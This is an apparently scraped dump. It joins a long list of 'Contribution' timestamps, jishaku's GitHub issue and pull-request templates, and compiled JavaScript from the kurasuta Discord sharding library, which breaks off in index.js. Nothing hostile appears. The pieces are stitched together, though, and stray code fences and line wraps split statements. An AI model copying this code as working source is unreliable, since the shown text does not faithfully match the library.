Contribution: 2022-10-09 20:00

Contribution: 2022-10-09 20:01

Contribution: 2022-10-09 20:02

Contribution: 2022-10-09 20:03

Contribution: 2022-10-09 20:04

Contribution: 2022-10-09 20:05

Contribution: 2022-10-09 20:06

Contribution: 2022-10-10 20:00

Contribution: 2022-10-10 20:01

Contribution: 2022-10-10 20:02

Contribution: 2022-10-10 20:03

Contribution: 2022-10-10 20:04

Contribution: 2022-10-10 20:05

Contribution: 2022-10-10 20:06

Contribution: 2022-10-10 20:07

Contribution: 2022-10-10 20:08

Contribution: 2022-10-10 20:09

Contribution: 2022-10-11 20:00

Contribution: 2022-10-11 20:01

Contribution: 2022-10-11 20:02

Contribution: 2022-10-11 20:03

Contribution: 2022-10-11 20:04

Contribution: 2022-10-12 20:00

Contribution: 2022-10-12 20:01

Contribution: 2022-10-12 20:02

Contribution: 2022-10-12 20:03

Contribution: 2022-10-12 20:04

Contribution: 2022-10-12 20:05

Contribution: 2022-10-12 20:06

Contribution: 2022-10-12 20:07

Contribution: 2022-10-12 20:08

Contribution: 2022-10-13 20:00

Contribution: 2022-10-13 20:01

Contribution: 2022-10-13 20:02

Contribution: 2022-10-13 20:03

Contribution: 2022-10-13 20:04

Contribution: 2022-10-13 20:05

Contribution: 2022-10-13 20:06

Contribution: 2022-10-13 20:07

Contribution: 2022-10-13 20:08

Contribution: 2022-10-13 20:09

```
Contribution: 2022-10-13 20:10

Contribution: 2022-10-13 20:11

Contribution: 2022-10-13 20:12

Contribution: 2022-10-13 20:13

Contribution: 2022-10-14 20:00

Contribution: 2022-10-14 20:01

Contribution: 2022-10-14 20:02

Contribution: 2022-10-14 20:03

Contribution: 2022-10-14 20:04

Contribution: 2022-10-14 20:05

Contribution: 2022-10-14 20:06

Contribution: 2022-10-14 20:07

Contribution: 2022-10-14 20:08

Contribution: 2022-10-14 20:09

Contribution: 2022-10-14 20:10

Contribution: 2022-10-14 20:11

Contribution: 2022-10-14 20:12

Contribution: 2022-10-15 20:00

Contribution: 2022-10-15 20:01

Contribution: 2022-10-15 20:02

Contribution: 2022-10-15 20:03

Contribution: 2022-10-15 20:04

Contribution: 2022-10-15 20:05

Contribution: 2022-10-15 20:06

Contribution: 2022-10-15 20:07

Contribution: 2022-10-16 20:00

Contribution: 2022-10-16 20:01
```

```
Contribution: 2022-10-16 20:02

Contribution: 2022-10-16 20:03

Contribution: 2022-10-16 20:04

Contribution: 2022-10-16 20:05

Contribution: 2022-10-16 20:06

Contribution: 2022-10-16 20:07

Contribution: 2022-10-16 20:08

Contribution: 2022-10-16 20:09

Contribution: 2022-10-16 20:10

Contribution: 2022-10-16 20:11

Contribution: 2022-10-16 20:12

Contribution: 2022-10-18 20:00

Contribution: 2022-10-18 20:01

Contribution: 2022-10-18 20:02

Contribution: 2022-10-18 20:03

Contribution: 2022-10-18 20:04

Contribution: 2022-10-21 20:00

Contribution: 2022-10-21 20:01

Contribution: 2022-10-21 20:02

Contribution: 2022-10-21 20:03

Contribution: 2022-10-21 20:04

Contribution: 2022-10-21 20:05

Contribution: 2022-10-21 20:06

Contribution: 2022-10-21 20:07

Contribution: 2022-10-21 20:08

Contribution: 2022-10-21 20:09

Contribution: 2022-10-21 20:10
```

Repository: jishaku

File: BUG_REPORT.md

```
---
name: Bug Report
about: Report broken or incorrect behavior or functionality
---

## Summary

<!-- A summary of your bug report -->

## Reproduction steps

<!-- Under what conditions does this bug occur? Is there a consistent method to reproduce the bug, and if so - what is it? If code is used in the reproduction process, please produce it here. -->

## Expected results

<!-- What you expected to occur as a result of your reproduction steps -->

## Actual results

<!-- What actually occurred as a result of your reproduction steps - i.e., the broken/incorrect behavior. -->

## Checklist

<!-- To check a box, place an x in the box (with no spaces), like so: [x] -->

- [ ] I have updated discord.py and jishaku to the latest available versions and have confirmed that this issue is still present
- [ ] I have searched the open issues for duplicates
- [ ] I have shown the entire traceback, if possible
- [ ] I have removed my token from display, if visible

## System information

<!-- Post information both about your jishaku AND discord.py version here -->
<!-- You can get information about discord.py by running `python -m discord -v` -->
<!-- You can get your jishaku version by running `pip show jishaku` -->
```

File: FEATURE_REQUEST.md

```
---
name: Feature Request
about: Suggest a feature for this library
---
```

```
## The Problem

<!--
What problem is your feature trying to solve? What becomes easier or possible when this feature is implemented?
-->

## The Ideal Solution

<!--
What is your ideal solution to the problem? What would you like this feature to do?
-->

## The Current Solution

<!--
What is the current solution to the problem, if any?
-->

## Summary

<!-- A short summary of your feature request. -->
```

File: PULL_REQUEST_TEMPLATE.md

```
## Rationale

<!-- What is the reason behind this change? How does implementing it benefit end users or contributors? -->

## Summary of changes made

<!-- An explanation, in plain English, of your implementation of this change. -->

## Checklist

<!-- To check a box, place an x in the box (with no spaces), like so: [x] -->

- [ ] This PR changes the jishaku module/cog codebase
- [ ] These changes add new functionality to the module/cog
- [ ] These changes fix an issue or bug in the module/cog
- [ ] I have tested that these changes work on a production bot codebase
- [ ] I have tested these changes against the CI/CD test suite
- [ ] I have updated the documentation to reflect these changes
- [ ] This PR changes the CI/CD test suite
- [ ] I have tested my suite changes are well-formed (all tests can be discovered)
- [ ] These changes adjust existing test cases
- [ ] These changes add new test cases
- [ ] This PR changes prose (such as the documentation, README or other Markdown/RST documents)
- [ ] I have proofread my changes for grammar and spelling issues
```

- [ ] I have tested that any changes regarding Markdown/RST syntax result in a well formed document

Repository: kurasuta

File: README.md

```
# kurasuta
```

File: BaseCluster.js

```
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.BaseCluster = void 0;
const ShardClientUtil_1 = require("../Sharding/ShardClientUtil");
const Constants_1 = require("../Util/Constants");
const Util = __importStar(require("../Util/Util"));
class BaseCluster {
constructor(manager) {
this.manager = manager;
const env = process.env;
const shards = env.CLUSTER_SHARDS.split(',').map(Number);
const clientConfig = Util.mergeDefault(manager.clientOptions, {
shards,
shardCount: Number(env.CLUSTER_SHARD_COUNT)
});
this.client = new manager.client(clientConfig);
const client = this.client;
client.shard = new ShardClientUtil_1.ShardClientUtil(client, manager.ipcSocket);
this.id = Number(env.CLUSTER_ID);
}
async init() {
const shardUtil = this.client.shard;
await shardUtil.init();
this.client.once('ready', () => { void shardUtil.send({ op: Constants_1.IPCEvents.READY,
d: this.id }, { receptive: false }); });
this.client.on('shardReady', id => { void shardUtil.send({ op:
Constants_1.IPCEvents.SHARDREADY, d: { id: this.id, shardID: id } }, { receptive: false
}); });
this.client.on('shardReconnecting', id => { void shardUtil.send({ op:
Constants_1.IPCEvents.SHARDRECONNECT, d: { id: this.id, shardID: id } }, { receptive:
false }); });
this.client.on('shardResume', (id, replayed) => { void shardUtil.send({ op:
Constants_1.IPCEvents.SHARDRESUME, d: { id: this.id, shardID: id, replayed } }, {
receptive: false }); });
this.client.on('shardDisconnect', ({ code, reason, wasClean }, id) => { void
shardUtil.send({ op: Constants_1.IPCEvents.SHARDDISCONNECT, d: { id: this.id, shardID:
id, closeEvent: { code, reason, wasClean } } }, { receptive: false }); });
await this.launch();
}
}
exports.BaseCluster = BaseCluster;

//# sourceMappingURL=BaseCluster.js.map
```

File: Cluster.js

```
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m,
k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ?
(function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" &&
Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
```

```
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.Cluster = void 0;
const cluster_1 = __importDefault(require("cluster"));
const Constants_1 = require("../Util/Constants");
const discord_js_1 = require("discord.js");
const Util = __importStar(require("../Util/Util"));
const events_1 = require("events");
class Cluster extends events_1.EventEmitter {
constructor(options) {
super();
this.ready = false;
this.id = options.id;
this.shards = options.shards;
this.manager = options.manager;
this._exitListenerFunction = this._exitListener.bind(this);
this.once('ready', () => { this.ready = true; });
}
async eval(script) {
script = typeof script === 'function' ? `(${script})(this)` : script;
const { success, d } = await this.manager.ipc.server.sendTo(`Cluster ${this.id}`, { op:
Constants_1.IPCEvents.EVAL, d: script });
if (!success)
throw discord_js_1.Util.makeError(d);
return d;
}
async fetchClientValue(prop) {
const { success, d } = await this.manager.ipc.server.sendTo(`Cluster ${this.id}`, { op:
Constants_1.IPCEvents.EVAL, d: `this.${prop}` });
if (!success)
throw discord_js_1.Util.makeError(d);
return d;
}
kill() {
if (this.worker) {
this.manager.emit('debug', `Killing Cluster ${this.id}`);
this.worker.removeListener('exit', this._exitListenerFunction);
this.worker.kill();
}
}
async respawn(delay = 500) {
this.kill();
if (delay)
await Util.sleep(delay);
await this.spawn();
}
send(data) {
return this.manager.ipc.node.sendTo(`Cluster ${this.id}`, data);
}
async spawn() {
// eslint-disable-next-line @typescript-eslint/naming-convention
this.worker = cluster_1.default.fork(Object.assign({ CLUSTER_SHARDS:
this.shards.join(','), CLUSTER_ID: this.id.toString(), CLUSTER_SHARD_COUNT:
this.manager.shardCount.toString(), CLUSTER_CLUSTER_COUNT:
```

```
this.manager.clusterCount.toString() }, process.env));
this.worker.once('exit', this._exitListenerFunction);
this.manager.emit('debug', `Worker spawned with id ${this.worker.id}`);
this.manager.emit('spawn', this);
await this._waitReady(this.shards.length);
await Util.sleep(5000);
}
_exitListener(code, signal) {
this.ready = false;
this.worker = undefined;
this.manager.emit('debug', `Worker exited with code ${code} and signal
${signal}${this.manager.respawn ? ', restarting...' : ''}`);
if (this.manager.respawn)
return this.respawn();
}
_waitReady(shardCount) {
return new Promise((resolve, reject) => {
this.once('ready', resolve);
setTimeout(() => reject(new Error(`Cluster ${this.id} took too long to get ready`)),
(this.manager.timeout * shardCount) * (this.manager.guildsPerShard / 1000));
});
}
}
exports.Cluster = Cluster;

//# sourceMappingURL=Cluster.js.map
```

File: ClusterIPC.js

```
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.ClusterIPC = void 0;
const events_1 = require("events");
const veza_1 = require("veza");
const discord_js_1 = require("discord.js");
const Constants_1 = require("../Util/Constants");
class ClusterIPC extends events_1.EventEmitter {
constructor(discordClient, id, socket) {
super();
this.id = id;
this.socket = socket;
this.client = discordClient;
this.node = new veza_1.Client(`Cluster ${this.id}`)
.on('error', error => this.emit('error', error))
.on('disconnect', client => this.emit('warn', `[IPC] Disconnected from ${client.name}`))
.on('ready', client => this.emit('debug', `[IPC] Connected to: ${client.name}`))
// eslint-disable-next-line @typescript-eslint/no-misused-promises
.on('message', this._message.bind(this));
}
async broadcast(script) {
script = typeof script === 'function' ? `(${script})(this)` : script;
const { success, d } = await this.server.send({ op: Constants_1.IPCEvents.BROADCAST, d:
```

```
script });
if (!success)
throw discord_js_1.Util.makeError(d);
return d;
}
async masterEval(script) {
script = typeof script === 'function' ? `(${script})(this)` : script;
const { success, d } = await this.server.send({ op: Constants_1.IPCEvents.MASTEREVAL, d:
script });
if (!success)
throw discord_js_1.Util.makeError(d);
return d;
}
async init() {
this.clientSocket = await this.node.connectTo(String(this.socket));
}
get server() {
return this.clientSocket;
}
_eval(script) {
return this.client._eval(script);
}
async _message(message) {
const { op, d } = message.data;
if (op === Constants_1.IPCEvents.EVAL) {
try {
message.reply({ success: true, d: await this._eval(d) });
}
catch (error) {
if (!(error instanceof Error))
return;
message.reply({ success: false, d: { name: error.name, message: error.message, stack:
error.stack } });
}
}
}
}
exports.ClusterIPC = ClusterIPC;

//# sourceMappingURL=ClusterIPC.js.map
```

File: MasterIPC.js

```
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.MasterIPC = void 0;
const events_1 = require("events");
const veza_1 = require("veza");
const discord_js_1 = require("discord.js");
const cluster_1 = __importDefault(require("cluster"));
const Constants_1 = require("../Util/Constants");
class MasterIPC extends events_1.EventEmitter {
constructor(manager) {
super();
this.manager = manager;
this.server = new veza_1.Server('Master')
.on('connect', client => this.emit('debug', `Client Connected: ${client.name}`))
.on('disconnect', client => this.emit('debug', `Client Disconnected: ${client.name}`))
.on('error', error => this.emit('error', error))
.on('message', this._incommingMessage.bind(this));
if (cluster_1.default.isPrimary)
void this.server.listen(manager.ipcSocket);
}
async broadcast(code) {
const data = await this.server.broadcast({ op: Constants_1.IPCEvents.EVAL, d: code });
let errored = data.filter(res => !res.success);
if (errored.length) {
errored = errored.map(msg => msg.d);
const error = errored[0];
throw discord_js_1.Util.makeError(error);
}
return data.map(res => res.d);
}
_incommingMessage(message) {
const { op } = message.data;
this[`_${Constants_1.IPCEvents[op].toLowerCase()}`](message);
}
_message(message) {
const { d } = message.data;
this.manager.emit(Constants_1.SharderEvents.MESSAGE, d);
}
async _broadcast(message) {
const { d } = message.data;
try {
const data = await this.broadcast(d);
message.reply({ success: true, d: data });
}
catch (error) {
if (!(error instanceof Error))
return;
message.reply({ success: false, d: { name: error.name, message: error.message, stack:
error.stack } });
}
}
_ready(message) {
const { d: id } = message.data;
const cluster = this.manager.clusters.get(id);
cluster.emit('ready');
this._debug(`Cluster ${id} became ready`);
this.manager.emit(Constants_1.SharderEvents.READY, cluster);
}
_shardready(message) {
const { d: { shardID } } = message.data;
```

```
this._debug(`Shard ${shardID} became ready`);
this.manager.emit(Constants_1.SharderEvents.SHARD_READY, shardID);
}
_shardreconnect(message) {
const { d: { shardID } } = message.data;
this._debug(`Shard ${shardID} tries to reconnect`);
this.manager.emit(Constants_1.SharderEvents.SHARD_RECONNECT, shardID);
}
_shardresume(message) {
const { d: { shardID, replayed } } = message.data;
this._debug(`Shard ${shardID} resumed connection`);
this.manager.emit(Constants_1.SharderEvents.SHARD_RESUME, replayed, shardID);
}
_sharddisconnect(message) {
const { d: { shardID, closeEvent } } = message.data;
this._debug(`Shard ${shardID} disconnected!`);
this.manager.emit(Constants_1.SharderEvents.SHARD_DISCONNECT, closeEvent, shardID);
}
_restart(message) {
const { d: clusterID } = message.data;
return this.manager.restart(clusterID)
.then(() => message.reply({ success: true }))
.catch(error => message.reply({ success: false, d: { name: error.name, message: error.message, stack: error.stack } }));
}
async _mastereval(message) {
const { d } = message.data;
try {
const result = await this.manager.eval(d);
return message.reply({ success: true, d: result });
}
catch (error) {
if (!(error instanceof Error))
return;
return message.reply({ success: false, d: { name: error.name, message: error.message, stack: error.stack } });
}
}
async _restartall() {
await this.manager.restartAll();
}
async _fetchuser(message) {
return this._fetch(message, 'const user = this.users.cache.get(\'{id}\'); user ? user.toJSON() : user;');
}
async _fetchguild(message) {
return this._fetch(message, 'const guild = this.guilds.cache.get(\'{id}\'); guild ? guild.toJSON() : guild;');
}
_fetchchannel(message) {
return this._fetch(message, 'const channel = this.channels.cache.get(\'{id}\'); channel ? channel.toJSON() : channel;');
}
async _fetch(message, code) {
```

```
const { d: id } = message.data;
const result = await this.broadcast(code.replace('{id}', id));
const realResult = result.filter(r => r);
if (realResult.length) {
return message.reply({ success: true, d: realResult[0] });
}
return message.reply({ success: false });
}
_debug(message) {
this.emit(Constants_1.SharderEvents.DEBUG, message);
}
}
exports.MasterIPC = MasterIPC;

//# sourceMappingURL=MasterIPC.js.map
```

File: ShardClientUtil.js

```
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.ShardClientUtil = void 0;
const discord_js_1 = require("discord.js");
const ClusterIPC_1 = require("../IPC/ClusterIPC");
const Constants_1 = require("../Util/Constants");
class ShardClientUtil {
constructor(client, ipcSocket) {
this.client = client;
this.ipcSocket = ipcSocket;
this.clusterCount = Number(process.env.CLUSTER_CLUSTER_COUNT);
this.shardCount = Number(process.env.CLUSTER_SHARD_COUNT);
this.id = Number(process.env.CLUSTER_ID);
this.ipc = new ClusterIPC_1.ClusterIPC(this.client, this.id, this.ipcSocket);
this.shards = String(process.env.CLUSTER_SHARDS).split(',');
}
broadcastEval(script) {
return this.ipc.broadcast(script);
}
masterEval(script) {
return this.ipc.masterEval(script);
}
fetchClientValues(prop) {
return this.ipc.broadcast(`this.${prop}`);
}
async fetchGuild(id) {
const { success, d } = await this.send({ op: Constants_1.IPCEvents.FETCHGUILD, d: id });
if (!success)
throw new Error('No guild with this id found!');
return d;
}
async fetchUser(id) {
const { success, d } = await this.send({ op: Constants_1.IPCEvents.FETCHUSER, d: id });
if (!success)
throw new Error('No user with this id found!');
return d;
}
async fetchChannel(id) {
const { success, d } = await this.send({ op: Constants_1.IPCEvents.FETCHCHANNEL, d: id });
if (!success)
throw new Error('No channel with this id found!');
return d;
}
async restartAll() {
await this.ipc.server.send({ op: Constants_1.IPCEvents.RESTARTALL }, { receptive: false });
}
async restart(clusterID) {
const { success, d } = await this.ipc.server.send({ op: Constants_1.IPCEvents.RESTART, d: clusterID });
if (!success)
throw discord_js_1.Util.makeError(d);
}
respawnAll() {
return this.restartAll();
}
send(data, options) {
if (typeof data === 'object' && data.op !== undefined)
return this.ipc.server.send(data, options);
return this.ipc.server.send({ op: Constants_1.IPCEvents.MESSAGE, d: data }, options);
}
init() {
return this.ipc.init();
}
}
exports.ShardClientUtil = ShardClientUtil;

//# sourceMappingURL=ShardClientUtil.js.map
```

File: ShardingManager.js

```
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
```

```
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.ShardingManager = void 0;
const discord_js_1 = require("discord.js");
const MasterIPC_1 = require("../IPC/MasterIPC");
const Cluster_1 = require("../Cluster/Cluster");
const Constants_1 = require("../Util/Constants");
const events_1 = require("events");
const os_1 = require("os");
const cluster_1 = __importDefault(require("cluster"));
const Util = __importStar(require("../Util/Util"));
const node_fetch_1 = __importDefault(require("node-fetch"));
class ShardingManager extends events_1.EventEmitter {
constructor(path, options) {
var _a, _b, _c, _d, _e, _f, _g, _h, _j;
super();
this.path = path;
this.clusters = new Map();
this.clusterCount = Number((_a = options.clusterCount) !== null && _a !== void 0 ? _a : (0, os_1.cpus)().length);
this.guildsPerShard = Number((_b = options.guildsPerShard) !== null && _b !== void 0 ? _b : 1000);
this.clientOptions = (_c = options.clientOptions) !== null && _c !== void 0 ? _c : { intents: discord_js_1.Intents.FLAGS.GUILDS };
this.development = (_d = options.development) !== null && _d !== void 0 ? _d : false;
this.shardCount = options.shardCount ? Number(options.shardCount) : 'auto';
this.client = (_e = options.client) !== null && _e !== void 0 ? _e : discord_js_1.Client;
this.respawn = (_f = options.respawn) !== null && _f !== void 0 ? _f : true;
this.ipcSocket = (_g = options.ipcSocket) !== null && _g !== void 0 ? _g : 9999;
this.retry = (_h = options.retry) !== null && _h !== void 0 ? _h : true;
this.timeout = Number((_j = options.timeout) !== null && _j !== void 0 ? _j : 30000);
this.token = options.token;
this.nodeArgs = options.nodeArgs;
this.ipc = new MasterIPC_1.MasterIPC(this);
this.ipc.on('debug', msg => this._debug(`[IPC] ${msg}`));
this.ipc.on('error', err => this.emit(Constants_1.SharderEvents.ERROR, err));
if (!this.path)
throw new Error('You need to supply a Path!');
}
async spawn() {
if (cluster_1.default.isPrimary) {
if (this.shardCount === 'auto') {
```

```
this._debug('Fetching Session Endpoint');
const { shards: recommendShards } = await this._fetchSessionEndpoint();
this.shardCount = Util.calcShards(recommendShards, this.guildsPerShard);
this._debug(`Using recommend shard count of ${this.shardCount} shards with
${this.guildsPerShard} guilds per shard`);
}
this._debug(`Starting ${this.shardCount} Shards in ${this.clusterCount} Clusters!`);
if (this.shardCount < this.clusterCount) {
this.clusterCount = this.shardCount;
}
const shardArray = [...Array(this.shardCount).keys()];
const shardTuple = Util.chunk(shardArray, this.clusterCount);
const failed = [];
if (this.nodeArgs)
cluster_1.default.setupPrimary({ execArgv: this.nodeArgs });
for (let index = 0; index < this.clusterCount; index++) {
const shards = shardTuple.shift();
const cluster = new Cluster_1.Cluster({ id: index, shards, manager: this });
this.clusters.set(index, cluster);
try {
await cluster.spawn();
}
catch (_a) {
this._debug(`Cluster ${cluster.id} failed to start`);
this.emit(Constants_1.SharderEvents.ERROR, new Error(`Cluster ${cluster.id} failed to
start`));
if (this.retry) {
this._debug(`Requeuing Cluster ${cluster.id} to be spawned`);
failed.push(cluster);
}
}
}
if (this.retry)
await this.retryFailed(failed);
}
else {
return Util.startCluster(this);
}
}
async restartAll() {
this._debug('Restarting all Clusters!');
for (const cluster of this.clusters.values()) {
await cluster.respawn();
}
}
async restart(clusterID) {
const cluster = this.clusters.get(clusterID);
if (!cluster)
throw new Error('No Cluster with that ID found.');
this._debug(`Restarting Cluster ${clusterID}`);
await cluster.respawn();
}
fetchClientValues(prop) {
return this.ipc.broadcast(`this.${prop}`);
```

```
}
eval(script) {
return new Promise((resolve, reject) => {
try {
// tslint:disable-next-line:no-eval
return resolve(eval(script));
}
catch (error) {
reject(error);
}
});
}
on(event, listener) {
return super.on(event, listener);
}
once(event, listener) {
return super.once(event, listener);
}
async retryFailed(clusters) {
const failed = [];
for (const cluster of clusters) {
try {
this._debug(`Respawning Cluster ${cluster.id}`);
await cluster.respawn();
}
catch (_a) {
this._debug(`Cluster ${cluster.id} failed, requeuing...`);
failed.push(cluster);
}
}
if (failed.length) {
this._debug(`${failed.length} Clusters still failed, retry...`);
return this.retryFailed(failed);
}
}
async _fetchSessionEndpoint() {
if (!this.token)
throw new Error('No token was provided!');
const res = await (0,
node_fetch_1.default)(`${Constants_1.http.api}/v${Constants_1.http.version}/gateway/bot`
, {
method: 'GET',
headers: { authorization: `Bot ${this.token.replace(/^Bot\s*/i, '')}` }
});
if (res.ok)
return res.json();
throw new Error(`Invalid Session Endpoint response: ${res.status} ${res.statusText}`);
}
_debug(message) {
this.emit(Constants_1.SharderEvents.DEBUG, message);
}
}
exports.ShardingManager = ShardingManager;
```

```
//# sourceMappingURL=ShardingManager.js.map
```

File: Constants.js

```
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.SharderEvents = exports.IPCEvents = exports.version = exports.http = void 0;
/* eslint-disable @typescript-eslint/naming-convention */
exports.http = {
version: 8,
api: 'https://discordapp.com/api'
};
exports.version = '3.0.1';
var IPCEvents;
(function (IPCEvents) {
IPCEvents[IPCEvents["EVAL"] = 0] = "EVAL";
IPCEvents[IPCEvents["MESSAGE"] = 1] = "MESSAGE";
IPCEvents[IPCEvents["BROADCAST"] = 2] = "BROADCAST";
IPCEvents[IPCEvents["READY"] = 3] = "READY";
IPCEvents[IPCEvents["SHARDREADY"] = 4] = "SHARDREADY";
IPCEvents[IPCEvents["SHARDRECONNECT"] = 5] = "SHARDRECONNECT";
IPCEvents[IPCEvents["SHARDRESUME"] = 6] = "SHARDRESUME";
IPCEvents[IPCEvents["SHARDDISCONNECT"] = 7] = "SHARDDISCONNECT";
IPCEvents[IPCEvents["MASTEREVAL"] = 8] = "MASTEREVAL";
IPCEvents[IPCEvents["RESTARTALL"] = 9] = "RESTARTALL";
IPCEvents[IPCEvents["RESTART"] = 10] = "RESTART";
IPCEvents[IPCEvents["FETCHUSER"] = 11] = "FETCHUSER";
IPCEvents[IPCEvents["FETCHCHANNEL"] = 12] = "FETCHCHANNEL";
IPCEvents[IPCEvents["FETCHGUILD"] = 13] = "FETCHGUILD";
})(IPCEvents = exports.IPCEvents || (exports.IPCEvents = {}));
var SharderEvents;
(function (SharderEvents) {
SharderEvents["DEBUG"] = "debug";
SharderEvents["MESSAGE"] = "message";
SharderEvents["READY"] = "ready";
SharderEvents["SPAWN"] = "spawn";
SharderEvents["SHARD_READY"] = "shardReady";
SharderEvents["SHARD_RECONNECT"] = "shardReconnect";
SharderEvents["SHARD_RESUME"] = "shardResume";
SharderEvents["SHARD_DISCONNECT"] = "shardDisconnect";
SharderEvents["ERROR"] = "error";
})(SharderEvents = exports.SharderEvents || (exports.SharderEvents = {}));

//# sourceMappingURL=Constants.js.map
```

File: Util.js

```
"use strict";
// Copyright (c) 2017-2018 dirigeants. All rights reserved. MIT license.
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m,
k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ?
(function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" &&
Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.startCluster = exports.calcShards = exports.sleep = exports.isObject =
exports.mergeDefault = exports.isPrimitive = exports.deepClone = exports.chunk =
exports.PRIMITIVE_TYPES = void 0;
const util_1 = require("util");
exports.PRIMITIVE_TYPES = ['string', 'bigint', 'number', 'boolean'];
function chunk(entries, chunkSize) {
const result = [];
const amount = Math.floor(entries.length / chunkSize);
const mod = entries.length % chunkSize;
for (let i = 0; i < chunkSize; i++) {
result[i] = entries.splice(0, i < mod ? amount + 1 : amount);
}
return result;
}
exports.chunk = chunk;
function deepClone(source) {
// Check if it's a primitive (with exception of function and null, which is typeof
object)
if (source === null || isPrimitive(source))
return source;
if (Array.isArray(source)) {
const output = [];
for (const value of source)
output.push(deepClone(value));
return output;
}
if (isObject(source)) {
const output = {};
for (const [key, value] of Object.entries(source))
output[key] = deepClone(value);
return output;
}
```

```
if (source instanceof Map) {
const output = new (source.constructor())();
for (const [key, value] of source.entries())
output.set(key, deepClone(value));
return output;
}
if (source instanceof Set) {
const output = new (source.constructor())();
for (const value of source.values())
output.add(deepClone(value));
return output;
}
return source;
}
exports.deepClone = deepClone;
function isPrimitive(value) {
return exports.PRIMITIVE_TYPES.includes(typeof value);
}
exports.isPrimitive = isPrimitive;
function mergeDefault(def, given) {
if (!given)
return deepClone(def);
for (const key in def) {
if (given[key] === undefined)
given[key] = deepClone(def[key]);
else if (isObject(given[key]))
given[key] = mergeDefault(def[key], given[key]);
}
return given;
}
exports.mergeDefault = mergeDefault;
function isObject(input) {
return input && input.constructor === Object;
}
exports.isObject = isObject;
function sleep(duration) {
return (0, util_1.promisify)(setTimeout)(duration);
}
exports.sleep = sleep;
function calcShards(shards, guildsPerShard) {
return Math.ceil(shards * (1000 / guildsPerShard));
}
exports.calcShards = calcShards;
async function startCluster(manager) {
// eslint-disable-next-line @typescript-eslint/naming-convention
const ClusterClassRequire = await Promise.resolve().then(() =>
__importStar(require(manager.path)));
// eslint-disable-next-line @typescript-eslint/naming-convention
const ClusterClass = ClusterClassRequire.default ? ClusterClassRequire.default :
ClusterClassRequire;
const cluster = new ClusterClass(manager);
return cluster.init();
}
exports.startCluster = startCluster;
```

```
//# sourceMappingURL=Util.js.map
```

File: index.js

```
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __exportStar = (this && this.__exportStar) || function(m, exports) {
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.version = exports.SharderEvents = exports.IPCEvents = exports.http = exports.ShardingManager = exports.ShardClientUtil = exports.MasterIPC = exports.ClusterIPC = exports.Cluster = exports.BaseCluster = void 0;
var BaseCluster_1 = require("./Cluster/BaseCluster");
Object.defineProperty(exports, "BaseCluster", { enumerable: true, get: function () { return BaseCluster_1.BaseCluster; } });
var Cluster_1 = require("./Cluster/Cluster");
